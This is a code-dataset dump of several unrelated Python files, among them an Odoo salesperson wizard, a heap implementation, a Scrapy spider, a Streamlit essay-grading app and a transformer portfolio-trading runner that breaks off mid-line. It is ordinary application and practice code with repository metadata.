remove_zeros_statble(A):\n slow = 0\n size = len(A)\n for fast in range(size):\n if A[fast] != 0:\n if slow != fast:\n A[slow] = A[fast]\n slow += 1\n return slow\n\n# loop through the array with two pointers from both end together, till they meet\n# if the left pointer points to non zero, leave it as it is,\n# or, if the right pointer points to zero, leave it as it is too.\n# then, if the left pointer points to zero while right pointer points to non-zero, assign right element to left element\n# no need to swap as we dont care what are left on the right part of the array\n\n# k is number of non-zero elements\n# time complexity is O(n), and worst case the assignment needs to happen min(k, n-k) when zeros are in the beginning.\n# k is the number of zero elements.\n# 00123, assignment twice\n# 0000123, assignment three times\n\ndef remove_zeros(A):\n i = 0\n j = len(A) - 1\n while i <= j:\n if A[i] != 0:\n i += 1\n elif A[j] == 0: \n j -= 1\n else:\n A[i] = A[j]\n i += 1\n j -= 1\n \n return i\n\nprint(remove_zeros([0,1,2,0,3]))\n","repo_name":"smallfishxz/Practice_Algorithm","sub_path":"Focus/remove_zeros.py","file_name":"remove_zeros.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6173899127","text":"# © 2020 - today Numigi (tm) and all its contributors (https://bit.ly/numigiens)\n# License LGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\n\nfrom odoo import _, api, fields, models\n\n\nclass AssignSalespersonByAreaWizard(models.Model):\n _name = \"assign.salesperson.by.area.wizard\"\n _description = \"Assign Salesperson By Area Wizard\"\n\n available_territory_ids = fields.Many2many(comodel_name=\"res.territory\")\n available_salesperson_ids = fields.Many2many(comodel_name=\"res.users\")\n is_several_salespersons = fields.Boolean()\n salesperson_id = fields.Many2one(comodel_name=\"res.users\")\n wizard_msg = fields.Text(compute=\"_compute_wizard_msg\")\n\n @api.model\n def default_get(self, fields):\n res = super().default_get(fields)\n\n active_record = self.get_active_record()\n territories = active_record.territory_ids\n salespersons = territories.mapped(\"salesperson_id\")\n vals = {\n \"available_territory_ids\": [(6, 0, territories.ids)],\n \"available_salesperson_ids\": [(6, 0, salespersons.ids)],\n \"is_several_salespersons\": len(salespersons) > 1,\n }\n if len(salespersons) == 1:\n vals[\"salesperson_id\"] = salespersons.id\n res.update(vals)\n return res\n\n @api.onchange(\"available_salesperson_ids\")\n def _onchange_available_salesperson_ids(self):\n return {\n \"domain\": {\n \"salesperson_id\": [(\"id\", \"in\", self.available_salesperson_ids.ids)]\n }\n }\n\n @api.multi\n def action_confirm(self):\n self.ensure_one()\n if not self.salesperson_id:\n raise AssertionError(\"There is no salesperson\")\n\n active_record = self.get_active_record()\n active_record[\"user_id\"] = self.salesperson_id\n\n @api.multi\n def get_active_record(self):\n context = self._context\n active_model = context.get(\"active_model\")\n active_id = context.get(\"active_id\")\n if not (active_model and active_id):\n raise AssertionError(\"Missing active_model or active_id context.\")\n\n active_record = self.env[context.get(\"active_model\")].browse(\n context.get(\"active_id\")\n )\n if not active_record.exists():\n raise AssertionError(\n \"Cannot find any record with model '%s' and id '%s'.\" %\n (active_model, active_id)\n )\n return active_record\n\n @api.depends(\"available_territory_ids\", \"available_salesperson_ids\")\n def _compute_wizard_msg(self):\n for wizard in self:\n wizard.wizard_msg = wizard._get_wizard_msg()\n\n def _get_wizard_msg(self):\n if len(self.available_salesperson_ids) == 1:\n related_territories = self.available_territory_ids.filtered(\n lambda r: r.salesperson_id == self.available_salesperson_ids\n )\n related_territories_names = \", \".join(\n related_territories.mapped(\"display_name\")\n )\n return _(\n \"%s will be assigned to the record. Do you want to continue?\"\n ) % (\n \"{} ({})\".format(\n self.available_salesperson_ids[0].display_name,\n related_territories_names,\n )\n )\n elif len(self.available_salesperson_ids) > 1:\n return _(\n \"Several salespersons could be assigned depending on the partner's \"\n \"territories. Please choose the right seller.\"\n )\n else:\n return _(\n \"There is no salesperson to assign. The partner's territories \"\n \"might not be linked to any salesperson.\"\n )\n","repo_name":"Numigi/odoo-sale-addons","sub_path":"crm_assign_by_area/wizard/assign_salesperson_by_area_wizard.py","file_name":"assign_salesperson_by_area_wizard.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18917601960","text":"'''\nA module for different checks that should be performed\n'''\n\nimport inspect\nfrom db_check.messages import *\n\n\nclass DBChecklist():\n '''\n A class to hold all the necessary summary data and checks\n '''\n\n def __init__(self, dataframe, author, db_name):\n '''\n Initialise the instance and attached the dataframe\n '''\n self.author = author\n self.db_name = db_name\n self.df = dataframe\n self.issues = []\n self._summarise()\n if 'category' in self.df.columns:\n self._summarise_categories()\n\n def _summarise(self):\n '''\n Add some summary data to the instance.\n '''\n dataframe = self.df\n self.total_entries = dataframe.shape[0]\n self.total_clusters = dataframe.clusterid.nunique()\n self.n_unique_sequences = dataframe.seqid.nunique()\n self.cluster_size_dist = dataframe.groupby(\n 'clusterid')['clusterid'].count().describe().to_frame().transpose()\n\n def _summarise_categories(self):\n '''\n Given we have parsed categories, summarise them.\n '''\n dataframe = self.df\n self.n_unique_categories = dataframe.category.nunique()\n self.categories_by_cluster_dist = dataframe.groupby(\n 'clusterid')['category'].nunique()\n self.categories_by_cluster_dist_sum = self.categories_by_cluster_dist.describe(\n ).to_frame().transpose()\n\n def ticks(self):\n '''\n Run checks and tick them off.\n '''\n checks = {method_name: method for method_name, method in inspect.getmembers(\n self, predicate=inspect.ismethod) if method_name.startswith(\"_check\")}\n for check in checks:\n checks[check]()\n\n def _check_for_duplicates(self):\n '''\n Are there two or more sequences with same ID?\n '''\n info(\"Checking for duplicated sequence IDs...\")\n if self.n_unique_sequences == self.total_entries:\n success(\"Found no duplicate sequences\")\n else:\n warning(\"Found possibly duplicated sequence IDs\")\n self.issues.append('More than one sequence with same ID.')\n\n def _check_for_overlapping_seqs(self):\n '''\n Are there two or more sequences with 100% identity indicating sub-sequences or completely duplicated sequences?\n '''\n info(\n \"Checking for partially or completely overlapping sequences...\")\n if self.total_clusters == self.total_entries:\n success(\"All sequences are unique\")\n else:\n warning(\n \"Found partially and/or completely overlapping sequences\")\n self.issues.append(\n 'Partially and/of completely overlapping sequences.')\n\n def _check_for_overlapping_seqs_distinct_categories(self):\n '''\n Are there partially and/or completely overlapping sequences that have distinct categories?\n\n Only run if categories are parsed out.\n '''\n if 'category' not in self.df.columns:\n return\n info(\n \"Checking for partially and/or completely overlapping sequences with distinct categories...\")\n if self.categories_by_cluster_dist.max() == 1:\n success(\n \"There were no partially and/or overlapping sequences with distinct categories.\")\n else:\n warning(\n \"Found partially and/or completely overlapping sequences with distinct categories.\")\n self.issues.append(\n 'Partially and/of completely overlapping sequences with distinct categories.')\n","repo_name":"andersgs/db-check","sub_path":"db_check/checklist.py","file_name":"checklist.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"37644652904","text":"\"\"\"\n堆是一个完全二叉树:完全二叉树要求,除了最后一层,其他层的节点个数都是满的,最后一层的节点都靠左排列。\n堆中每一个节点的值都必须大于等于(或小于等于)其子树中每个节点的值\n\"\"\"\n\n\nclass Heap(object):\n def __init__(self, capacity=64):\n self._capacity = capacity\n self._data = []\n self._size = 0 # 元素个数\n\n def headpush(self, value):\n \"\"\"\n\n :return:\n \"\"\"\n if self._size >= self._capacity:\n return\n\n self._data.append(value)\n self._size += 1\n\n self._siftup()\n\n def heappop(self):\n \"\"\"\n 返回堆顶元素\n 自上往下堆化\n :return:\n \"\"\"\n if self._size == 0:\n return -1\n if self._size == 1:\n value = self._data[0]\n self._data = []\n self._size = 0\n return value\n\n value = self._data[0]\n print(value, self._size)\n self._data[0] = self._data[self._size - 1]\n self._data.pop()\n self._size -= 1\n\n self._siftdown()\n return value\n\n def _siftup(self):\n \"\"\"\n 自下往上堆化\n 保证节点值大于等于子树节点值\n :return:\n \"\"\"\n child = self._size - 1\n parent = (child - 1) // 2\n while (parent >= 0) and (self._data[parent] < self._data[child]):\n temp = self._data[parent]\n self._data[parent] = self._data[child]\n self._data[child] = temp\n child = parent\n parent = (child - 1) // 2\n\n def _siftdown(self):\n \"\"\"\n 自上往下堆化\n 保证节点值大于等于子树节点值\n :return:\n \"\"\"\n parent = 0\n while True:\n child = parent * 2 + 1\n if (child < self._size) and (self._data[parent] < self._data[child]):\n temp = self._data[parent]\n self._data[parent] = self._data[child]\n self._data[child] = temp\n parent = child\n else:\n break\n\n def __str__(self):\n return \"%r\" % self._data\n\n\nif __name__ == '__main__':\n heap = Heap()\n for val in [10, 2, 66, 8, 5, 28, 45, 99]:\n heap.headpush(val)\n print(heap)\n\n value = heap.heappop()\n print(value, heap)\n","repo_name":"Losmli010/DataStructure","sub_path":"tree/heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23415292587","text":"from django.shortcuts import render_to_response, render\r\nfrom django.utils.decorators import method_decorator\r\nfrom django.views import View\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.shortcuts import redirect\r\nfrom studentSelection.models import students,lessons,selections,termDetails\r\n\r\n\r\n\r\n@method_decorator(login_required(login_url=\"/login/\"),name='dispatch')\r\nclass entekhabVahed (View):\r\n def get(self,request):\r\n try:\r\n student_id = request.user.username\r\n student_id_object = students.objects.filter(studentCode=student_id)[0] # instance of students model\r\n\r\n listTerm = termDetails.objects.filter(startTime__gte= student_id_object.dateReg ).all().order_by('name')\r\n\r\n return render(request,'entekhabVahed.html', {'listTerm':listTerm})\r\n except:\r\n return redirect('/logout/')\r\n\r\n\r\n\r\n def post(self,request):\r\n student_id = request.user.username\r\n student_id_object = students.objects.filter(studentCode=student_id)[0] # instance of students model\r\n term = request.POST['inputvalue']\r\n\r\n termLesson = lessons.objects.filter(term__name=term)\r\n\r\n student_choice_cours = selections.objects.filter(studentCode=student_id_object , lessonID__in=termLesson).order_by('lessonID')\r\n\r\n listTerm = termDetails.objects.filter(startTime__gte=student_id_object.dateReg).all().order_by('name')\r\n\r\n count = sum(c.lessonID.vahed for c in student_choice_cours) # دروس انتخاب شده\r\n\r\n return render(request, 'entekhabVahed.html', {'all_lesson': termLesson, 'selected': student_choice_cours, 'count': count,\r\n 'listTerm': listTerm})\r\n\r\n","repo_name":"masihvaziri/finalstudent","sub_path":"studentPortal/studentSelection/views/entekhabVahed.py","file_name":"entekhabVahed.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"74356755132","text":"#!/usr/bin/python3\n\"\"\" Takes url sends requests and gets errorcode from header \"\"\"\n\n\nfrom sys import argv\nimport requests\n\nif __name__ == '__main__':\n url = argv[1]\n request = requests.get(url)\n if request.status_code >= 400:\n print(\"Error code: {}\".format(request.status_code))\n else:\n print(request.text)\n","repo_name":"Luijma/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/7-error_code.py","file_name":"7-error_code.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1112478449","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport requests\nfrom bole.items import BoleItem\n\nclass JobboleSpider(scrapy.Spider):\n name = 'jobbole'\n allowed_domains = ['jobbole.com']\n\n def start_requests(self):\n urls = [\n 'http://blog.jobbole.com/114633/',\n\n ]\n for url in urls:\n yield scrapy.Request(url=url, callback=self.parse)\n\n def parse(self, response):\n title = response.css(\"div.entry-header h1::text\").extract_first()\n item = BoleItem(name=title, url=response._url)\n yield item\n for a in response.css(\"li span.digg-item-updated-title a\"):\n href = a.attrib.get(\"href\", None)\n if href:\n yield scrapy.Request(url=href, callback=self.parse)\n\n\n\n\n","repo_name":"Bgaoxing/p1901","sub_path":"bole/bole/spiders/jobbole.py","file_name":"jobbole.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31410295523","text":"from epimargin.etl.csse import *\nfrom epimargin.utils import setup\ndata, _ = setup()\n\ncsse_dir = data/\"csse\"\ncsse_dir.mkdir(exist_ok = True)\n\nchina = data/\"china\"\nchina.mkdir(exist_ok = True)\n\nfetch_range(csse_dir, \"April 13, 2020\", \"June 30, 2020\")\n\ndf = load(csse_dir, \"April 13, 2020\", \"June 30, 2020\", \"Country_Region == 'China'\")\\\n .drop(columns = [\"FIPS\", \"Admin2\", \"Last_Update\", \"Lat\", \"Long_\", \"Combined_Key\", \"Incidence_Rate\", \"Case-Fatality_Ratio\", \"Country_Region\"])\\\n .assign(Active = lambda _:_[\"Active\"].astype(int))\n # .drop(columns = [\"FIPS\", \"Admin2\", \"Last_Update\", \"Lat\", \"Long_\", \"Combined_Key\", \"Incident_Rate\", \"Case_Fatality_Ratio\", \"Country_Region\"])\n# df[\"Active\"] = df[\"Active\"].astype(int)\n\ndef assemble(province: str):\n totals = df[df.Province_State == province]\\\n [[\"date\", \"Deaths\", \"Recovered\", \"Confirmed\"]]\\\n .set_index(\"date\")\\\n .rename(columns = {\"Confirmed\": \"T\", \"Deaths\": \"D\", \"Recovered\": \"R\"})\n diffs = totals.diff().dropna().astype(int).rename(lambda x: \"d\" + x, axis = 1)\n return pd.concat([totals, diffs], axis = 1).dropna().astype(int) \n\nassemble(\"Beijing\")[\"April 15, 2020\":\"May 18, 2020\"].to_csv(china/\"China_1_Beijing.csv\")\n","repo_name":"COVID-IWG/epimargin-studies","sub_path":"global-sero/china.py","file_name":"china.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40166993277","text":"import numpy as np\nimport pandas as pd\nimport streamlit as st\nfrom st_aggrid import AgGrid\n\nfrom utils import *\n\n# Config\nset_config()\n\n# State\nstates = ['grading', \n 'uploaded_file', \n 'pts_possible', \n 'models_loaded', \n 'zipped_files',\n 'grading_progress',\n 'finished_grading',\n 'grades_accepted',\n 'grades_df',\n 'grades_csv',\n 'grade_review'\n ]\n\nfor state in states:\n if state not in st.session_state:\n st.session_state[state] = False\n\n# State managers\ndef reset_state():\n for state in states:\n st.session_state[state] = False\n try:\n os.remove('./papers2grade.zip')\n except:\n pass\n\ndef start_grading():\n st.session_state['grading'] = True\n st.session_state['pts_possible'] = st.session_state.pts_possible_choice\n\ndef finish_grading(grid=None):\n # st.session_state['grading'] = False\n st.session_state['finished_grading'] = True\n try:\n if not grid.empty:\n print('setting grid df')\n st.session_state['grades_df'] = grid\n except:\n pass\n\ndef set_pts_possible():\n st.session_state['pts_possible'] = st.session_state.pts_possible_choice\n\ndef set_file():\n st.session_state['uploaded_file'] = st.session_state.uploaded_file_choice\n\ndef help_zip():\n st.session_state['zipped_files'] = st.session_state.zip_file_choice\n\ndef accept_grades(grid=None):\n finish_grading()\n try:\n if not grid.empty:\n print('setting grid df')\n st.session_state['grades_df'] = grid['data']\n except:\n pass\n\n# other functions\n# IMPORTANT: Cache the conversion to prevent computation on every rerun\n@st.cache(allow_output_mutation=True)\ndef convert_df(df):\n csv = df.to_csv().encode('utf-8')\n return csv\n\n# Containers\nheader_container = st.container()\npoints_container = st.container()\nstats_container = st.container()\ndf_container = st.container()\nfooter_container = st.container()\n\n# App\n\n# Initial state\nif st.session_state['uploaded_file'] == False and st.session_state['models_loaded'] == False:\n with st.spinner(\"Warming up the grading robots... Grab some coffee, this could take a minute or two.\"):\n setup_folders()\n\n# Models ready, need uploaded file\nif st.session_state['uploaded_file'] == False:\n with header_container:\n col1, col2 = st.columns([2, 3])\n with col1:\n try:\n st.image(\"/app/paper-grading-assistant/streamlit/images/984102_avatar_casual_male_man_person_icon.png\")\n except:\n st.image(\"./images/984102_avatar_casual_male_man_person_icon.png\")\n\n with col2:\n st.write('') # spacer\n st.write('') # spacer\n st.write('') # spacer\n st.write('') # spacer\n st.title(\"Hi! I'm Ted, your grading assistant.\")\n st.header(\"Ready to take back your planning period?\")\n st.subheader(\"Just a few quick things...\")\n st.write(\"Your data is totally safe! Everything will be dumped as soon as you close this tab.\")\n\n st.write(\"The essays I grade currently need to all be in .docx or .pdf formats.\")\n st.write(\"They will ALSO all need to be in a folder that's zipped.\")\n with st.expander(\"Click here for a file zipper >\"):\n st.file_uploader('Choose papers to grade here...', key='zip_file_choice', accept_multiple_files=True, type=['.docx', '.pdf'], on_change=help_zip)\n if st.session_state.zip_file_choice:\n for file_ in st.session_state.zip_file_choice:\n save_uploaded_file(file_)\n make_archive('papers2grade', './data/', '.')\n for file_ in st.session_state.zip_file_choice:\n os.remove('./data/'+file_.name)\n with open('papers2grade.zip', 'rb') as dl_file:\n st.download_button(\n label=\"Download zipped papers\",\n data=dl_file,\n file_name='zipped_papers.zip',\n mime='application/zip')\n st.write(\"Once that's all done, just drop the zipped file below!\")\n\n uploaded_file = st.file_uploader('Upload student papers here', type=['.zip'], key='uploaded_file_choice', on_change=set_file)\n st.write(\"\") # spacer\n st.write(\"Psst! Not sure about all this? Try it out with some [sample papers](https://github.com/maxemileffort/paper-grading-assistant/raw/master/streamlit/sample_data/grading_assistant_test.zip), or some papers from last year.\")\n\n# User selects scale for grading\nif (st.session_state['grading'] == False \n and st.session_state['uploaded_file'] != False\n and st.session_state['finished_grading'] == False\n ):\n with points_container:\n pts_possible = st.text_input('How many points are possible for this assignment?', \n value=\"100\", \n on_change=set_pts_possible, \n key='pts_possible_choice')\n st.write(\"\") # spacer\n st.button(\"Start grading!\", on_click=start_grading)\n\n# Results\nif st.session_state['grading'] == True and st.session_state['finished_grading'] == False:\n with stats_container:\n uf = st.session_state['uploaded_file']\n pp = int(st.session_state['pts_possible'])\n st.write(\"\") # spacer\n msg = st.success(\"Successfully uploaded papers\")\n with st.spinner(\"Sorting papers to give to the robots...\"):\n extracted_papers = grade_papers(uf, pp)\n msg.empty()\n st.markdown(\"## Click the button below to see your results!\")\n st.button(\"See Results >\", on_click=finish_grading, kwargs={'grid': extracted_papers})\n \n# TODO instead of trying to download raw results, make a new pane where each \n# paper is clickable with comments and grades added in. \n# IE Sidebar, click name, render paper with comments and grade, editable. \n# Once teacher is done checking everything out, re-build csv so that \n# grades are updated, essay is dropped, and everything is easier to read\n\nif st.session_state['finished_grading'] == True:\n st.markdown(\"## How to use this spreadsheet:\")\n st.markdown(\"### The next table will have some data that you can use to speed up your grading process. Chaching!\")\n st.markdown(\"This part is for taking a quick look at your students' grades. Maybe there are some scores that stand out as being low or high? Make note of those. On the next step, you'll be able to read the essay.\")\n st.markdown(\"For now, if there was a page requirement or a word count requirement, grades can be easily adjusted here.\")\n st.markdown(\"Just **double click** in a grade box and change the grade to what you think it should be. Click anywhere else after changing the number, and it locks that grade in.\")\n with st.expander(\"Click here for a legend to the columns on the table >\"):\n st.markdown(\"* **File:** The name of the file graded. Helpful if students put their own names in the actual file name.\")\n st.markdown(\"* **Word Count:** Approximate number of words in the essay, not including one-letter words.\")\n st.markdown(\"* **Page Count:** Approximate number of pages in this paper, based on the idea that pages are about 250 words.\")\n st.markdown(\"* **Final Score:** The score recommended for the paper based on the maximum score submitted.\")\n st.markdown(\"* **Essay:** The submitted essay.\")\n \n with st.form(\"grade_review_choice\"):\n st.subheader(\"Review Grades:\")\n grid = AgGrid(st.session_state['grades_df'], editable=True, fit_columns_on_grid_load=True)\n st.markdown(\"After editing the grades, accept them by clicking the button below. There will be a new table where the essay can be read, and you'll be able to see how the grades line up.\")\n submitted = st.form_submit_button(\n label=\"Accept Grades >\",\n )\n \n if submitted:\n st.markdown(\"If the table looks a little small, hover over it and a little icon with 2 arrows appears on the top right side. Click it, and it will make the table bigger.\")\n st.markdown(\"To read an essay, hover over that individual essay and a bigger box appears with the essay in it, for your reading pleasure.\")\n st.dataframe(grid['data'])\n csv = convert_df(grid['data'])\n st.markdown(\"At this point, you can go back up and adjust the grades further, or you can download these grades to your computer. Neat!\")\n st.download_button(\n label=\"Download grades as spreadsheet\",\n data=csv,\n on_click=reset_state,\n file_name='graded_papers.csv',\n mime='text/csv')\n\n# reset button in the footer\nif st.session_state['uploaded_file'] != False:\n with footer_container:\n st.button(\"< Start over\", on_click=reset_state)\n","repo_name":"maxemileffort/paper-grading-assistant","sub_path":"streamlit/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18550379304","text":"#!/usr/bin/env python\n# encoding: utf-8\n'''\n@project : rat_scut_reimplementation\n@file : run.py\n@author : levon\n@contact : levondang@163.com\n@ide : PyCharm\n@time : 2022-05-03 17:21\n'''\nfrom config import Config\nfrom nets import make_model\nfrom datas import DataMatrices\nfrom datas.utils import parse_time, make_std_mask\nfrom .losses import Batch_Loss, SimpleLossCompute, SimpleLossCompute_tst, Test_Loss\nfrom .optimizer import Optimizer\n\nimport os\nimport json\nimport torch\nimport pandas as pd\nfrom tensorboardX import SummaryWriter\nfrom pprint import pprint\n\nclass Runner():\n def __init__(self, args):\n\n self.cfg = Config()\n print(\"\\n================== Configs =================\")\n pprint(vars(self.cfg), indent=4)\n print(\"==========================================\\n\")\n\n save_dict = {\"args\": args.__dict__, \"cfgs\": self.cfg.__dict__}\n save_json = json.dumps(save_dict)\n\n with open(os.path.join(self.cfg.ckpt_dir, \"config.json\"), 'w', encoding='utf-8') as f:\n f.write(save_json)\n\n self.model = make_model(self.cfg.batch_size, self.cfg.coin_num, self.cfg.x_window_size, self.cfg.feature_number,\n N=1, d_model_Encoder=self.cfg.multihead_num * self.cfg.model_dim,\n d_model_Decoder=self.cfg.multihead_num * self.cfg.model_dim,\n d_ff_Encoder=self.cfg.multihead_num * self.cfg.model_dim,\n d_ff_Decoder=self.cfg.multihead_num * self.cfg.model_dim, h=self.cfg.multihead_num,\n dropout=0.01, local_context_length=self.cfg.local_context_length)\n\n if self.cfg.devive != \"cpu\":\n self.model.cuda(device=self.cfg.devive)\n\n print(f\"Total params: {sum([p.numel() for p in self.model.parameters()]) / 1e6} M\")\n\n self.optimizer = Optimizer(model_size=5120, factor=self.cfg.learning_rate, warmup=0,\n optimizer=torch.optim.Adam(self.model.parameters(), lr=0, betas=(0.9, 0.98),\n eps=1e-9, weight_decay=self.cfg.weight_decay))\n\n self.train_loss_compute = SimpleLossCompute(Batch_Loss(self.cfg.trading_consumption, self.cfg.daily_interest_rate / 24 / 2, self.cfg.variance_penalty, self.cfg.cost_penalty, True), self.optimizer)\n self.evaluate_loss_compute = SimpleLossCompute(Batch_Loss(self.cfg.trading_consumption, self.cfg.daily_interest_rate / 24 / 2, self.cfg.variance_penalty, self.cfg.cost_penalty, False), None)\n self.test_loss_compute = SimpleLossCompute_tst(Test_Loss(self.cfg.trading_consumption, self.cfg.daily_interest_rate / 24 / 2, self.cfg.variance_penalty,self.cfg.cost_penalty, False), None)\n\n self.data_matrices = DataMatrices(start=parse_time(self.cfg.start), end=parse_time(self.cfg.end),\n market=\"poloniex\",\n feature_number=self.cfg.feature_number,\n window_size=self.cfg.x_window_size,\n online=False,\n period=1800,\n coin_filter=11,\n is_permed=False,\n buffer_bias_ratio=5e-5,\n batch_size=self.cfg.batch_size, # 128,\n volume_average_days=30,\n test_portion=self.cfg.test_portion, # 0.08,\n portion_reversed=False, database_path=self.cfg.data_path)\n self.summary = SummaryWriter(self.cfg.ckpt_dir)\n\n\n def save(self, checkpoint_path, best_err=-1, curr_err=-1):\n state = {\n # \"lr\": self.lr,\n # \"best_err\": best_err,\n # \"curr_err\": curr_err,\n \"model\": self.model.state_dict(),\n # \"optimizer\": self.optimizer.state_dict(),\n }\n torch.save(state, checkpoint_path)\n\n def restore(self, checkpoint_path):\n state = torch.load(checkpoint_path)\n self.model.load_state_dict(state[\"model\"])\n # self.optimizer.load_state_dict(state[\"optimizer\"])\n # self.lr = state[\"lr\"]\n # best_err = state['best_err']\n # curr_err = state[\"curr_err\"]\n print(\"loaded from {}.\".format(checkpoint_path))\n\n\n def train_one_step(self):\n batch = self.data_matrices.next_batch()\n batch_input = batch[\"X\"] # (128, 4, 11, 31)\n batch_y = batch[\"y\"] # (128, 4, 11)\n batch_last_w = batch[\"last_w\"] # (128, 11)\n batch_w = batch[\"setw\"]\n #############################################################################\n previous_w = torch.tensor(batch_last_w, dtype=torch.float).cuda(device=self.cfg.devive)\n previous_w = torch.unsqueeze(previous_w, 1) # [128, 11] -> [128,1,11]\n batch_input = batch_input.transpose((1, 0, 3, 2))\n src = torch.tensor(batch_input, dtype=torch.float).cuda(device=self.cfg.devive)\n price_series_mask = (torch.ones(src.size()[1], 1, self.cfg.x_window_size) == 1) # [128, 1, 31]\n currt_price = src.permute((3, 1, 2, 0)) # [4,128,31,11]->[11,128,31,4]\n if (self.cfg.local_context_length > 1):\n padding_price = currt_price[:, :, -(self.cfg.local_context_length) * 2 + 1:-1, :]\n else:\n padding_price = None\n\n currt_price = currt_price[:, :, -1:, :] # [11,128,31,4]->[11,128,1,4]\n trg_mask = make_std_mask(currt_price, src.size()[1])\n batch_y = batch_y.transpose((0, 2, 1)) # [128, 4, 11] ->#[128,11,4]\n trg_y = torch.tensor(batch_y, dtype=torch.float).cuda(device=self.cfg.devive)\n out = self.model(src, currt_price, previous_w, price_series_mask, trg_mask, padding_price)\n new_w = out[:, :, 1:] # 去掉cash\n new_w = new_w[:, 0, :] # #[109,1,11]->#[109,11]\n new_w = new_w.detach().cpu().numpy()\n batch_w(new_w)\n\n loss, portfolio_value = self.train_loss_compute(out, trg_y)\n return loss, portfolio_value\n\n def eval_batch(self):\n tst_batch = self.data_matrices.get_test_set()\n tst_batch_input = tst_batch[\"X\"] # (128, 4, 11, 31)\n tst_batch_y = tst_batch[\"y\"]\n tst_batch_last_w = tst_batch[\"last_w\"]\n tst_batch_w = tst_batch[\"setw\"]\n\n tst_previous_w = torch.tensor(tst_batch_last_w, dtype=torch.float).cuda(device=self.cfg.devive)\n tst_previous_w = torch.unsqueeze(tst_previous_w, 1) # [2426, 1, 11]\n tst_batch_input = tst_batch_input.transpose((1, 0, 2, 3))\n tst_batch_input = tst_batch_input.transpose((0, 1, 3, 2))\n tst_src = torch.tensor(tst_batch_input, dtype=torch.float).cuda(device=self.cfg.devive)\n tst_src_mask = (torch.ones(tst_src.size()[1], 1, self.cfg.x_window_size) == 1) # [128, 1, 31]\n tst_currt_price = tst_src.permute((3, 1, 2, 0)) # (4,128,31,11)->(11,128,31,3)\n #############################################################################\n if (self.cfg.local_context_length > 1):\n padding_price = tst_currt_price[:, :, -(self.cfg.local_context_length) * 2 + 1:-1, :] # (11,128,8,4)\n else:\n padding_price = None\n #########################################################################\n\n tst_currt_price = tst_currt_price[:, :, -1:, :] # (11,128,31,4)->(11,128,1,4)\n tst_trg_mask = make_std_mask(tst_currt_price, tst_src.size()[1])\n tst_batch_y = tst_batch_y.transpose((0, 2, 1)) # (128, 4, 11) ->(128,11,4)\n tst_trg_y = torch.tensor(tst_batch_y, dtype=torch.float).cuda(device=self.cfg.devive)\n ###########################################################################################################\n tst_out = self.model(tst_src, tst_currt_price, tst_previous_w, tst_src_mask, tst_trg_mask, padding_price) # [128,1,11] [128, 11, 31, 4])\n\n tst_loss, tst_portfolio_value = self.evaluate_loss_compute(tst_out, tst_trg_y)\n return tst_loss, tst_portfolio_value\n\n def test_online(self):\n tst_batch = self.data_matrices.get_test_set_online(self.data_matrices._test_ind[0], self.data_matrices._test_ind[-1], self.cfg.x_window_size)\n tst_batch_input = tst_batch[\"X\"] # [1, 4, 11, 2806]\n tst_batch_y = tst_batch[\"y\"] # [1, 4, 11, 2776]\n tst_batch_last_w = tst_batch[\"last_w\"] # [1, 11]\n tst_batch_w = tst_batch[\"setw\"]\n\n tst_previous_w = torch.tensor(tst_batch_last_w, dtype=torch.float).cuda(device=self.cfg.devive)\n tst_previous_w = torch.unsqueeze(tst_previous_w, 1) # [1, 1, 11]\n\n tst_batch_input = tst_batch_input.transpose((1, 0, 3, 2)) # [4, 1, 2806, 11]\n long_term_tst_src = torch.tensor(tst_batch_input, dtype=torch.float).cuda(device=self.cfg.devive)\n #########################################################################################\n tst_src_mask = (torch.ones(long_term_tst_src.size()[1], 1, self.cfg.x_window_size) == 1)\n\n long_term_tst_currt_price = long_term_tst_src.permute((3, 1, 2, 0))\n long_term_tst_currt_price = long_term_tst_currt_price[:, :, self.cfg.x_window_size - 1:, :]\n ###############################################################################################\n tst_trg_mask = make_std_mask(long_term_tst_currt_price[:, :, 0:1, :], long_term_tst_src.size()[1])\n\n tst_batch_y = tst_batch_y.transpose((0, 3, 2, 1)) # [1, 2776, 11, 4]\n tst_trg_y = torch.tensor(tst_batch_y, dtype=torch.float).cuda(device=self.cfg.devive)\n tst_long_term_w = []\n tst_y_window_size = len(self.data_matrices._test_ind) - self.cfg.x_window_size - 1 - 1\n for j in range(tst_y_window_size + 1): # 0-9\n tst_src = long_term_tst_src[:, :, j:j + self.cfg.x_window_size, :]\n tst_currt_price = long_term_tst_currt_price[:, :, j:j + 1, :]\n if (self.cfg.local_context_length > 1):\n padding_price = long_term_tst_src[:, :,\n j + self.cfg.x_window_size - 1 - self.cfg.local_context_length * 2 + 2:j + self.cfg.x_window_size - 1,\n :]\n padding_price = padding_price.permute((3, 1, 2, 0)) # [4, 1, 2, 11] ->[11,1,2,4]\n else:\n padding_price = None\n out = self.model.forward(tst_src, tst_currt_price, tst_previous_w, tst_src_mask, tst_trg_mask, padding_price) # [4, 1, 31, 11], [11, 1, 1, 4], [1, 1, 11], [1, 1, 31], [11, 1, 8, 4] -> [1, 1, 12]\n if (j == 0):\n tst_long_term_w = 